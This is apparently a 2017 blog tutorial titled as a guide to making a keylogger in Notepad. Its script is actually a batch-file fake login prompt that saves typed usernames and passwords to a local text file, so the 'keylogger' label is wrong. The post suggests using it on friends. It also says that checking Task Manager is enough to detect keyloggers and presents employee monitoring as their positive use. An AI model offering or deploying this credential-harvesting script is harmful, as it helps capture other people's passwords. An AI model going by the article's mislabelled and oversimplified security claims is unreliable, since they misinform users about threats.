How To Make A Keylogger Using Notepad (Simple Trick)

November 05, 2017 | | TAG: Windows |

Keylogger is one of the oldest tools of hacking that is used to capture each and every keystroke of user's keyboard. It is very dangerous because it can run in the background without letting the user noticed. Even though it is the oldest hacking tool, it is still effective in tracking the user's activities.

Keyloggers are used in both positive and negative ways.

Positive Way: Employers use keyloggers to track their employees. It helps employers to find whether their employees doing justice to their job or not.

Negative way: Hackers use keyloggers to steal confidential data from the users such as bank details, usernames, passwords etc.

If a keylogger is installed on your system then it will send all of your confidential data to the hacker who installed it on your computer. So, what happens is, your accounts would get easily hacked and accessed by the hacker.

To check whether a keylogger is installed or not on your computer just open the task manager(ctrl+alt+del). Now check whether an unusual application is running or not.

Let's make Keylogger Using Notepad

You don't need any software to make keylogger in Notepad. A basic text editor like Notepad which is available in all versions of Windows is enough to make it.

Here we gonna make a simple keylogger which might help the beginners to get knowledge on how keylogging works.

Let's Start:

1. First of all, go to your system's C drive (Local Disk ( C:)) and make a folder with name Logs. If it already exists then leave it.

2. Now open your notepad text editor. Copy and paste the following keylogger script in the notepad.

@echo off
color a
title Login
echo Please Enter Your Email Address And Password
cd “C:Logs”
set /p user=Username:
set /p pass=Password:
echo Username=”%user%” Password=”%pass%” >> Logs.txt
start >>Program Here<<

3. Paste the code like the below in notepad and go to the File menu and click Save as.


4. Name your file as Logs.bat and save it in Logs folder that is in your C drive [Local Disk (C:)].

save to log folder

5. Now double click on the Logs.bat file to run it. When the logs.bat file runs a command prompt will be opened asking for username and password. Enter any fake username and password.

open log file

6. Now got to you Logs Folder where Logs.bat file is present. There you can find Logs.txt file just open it. Now you will find your username and password that you typed in the command prompt.


That's how keylogger works. This is a small trick to record keystrokes of your keyboard. I think this article might helped you in understanding the keylogging functionality. You can also surprise your friends by telling them their username and password that they have entered in the command prompt.

I hope you liked this article. Don't forget to share it on social media.

Don't Miss An Update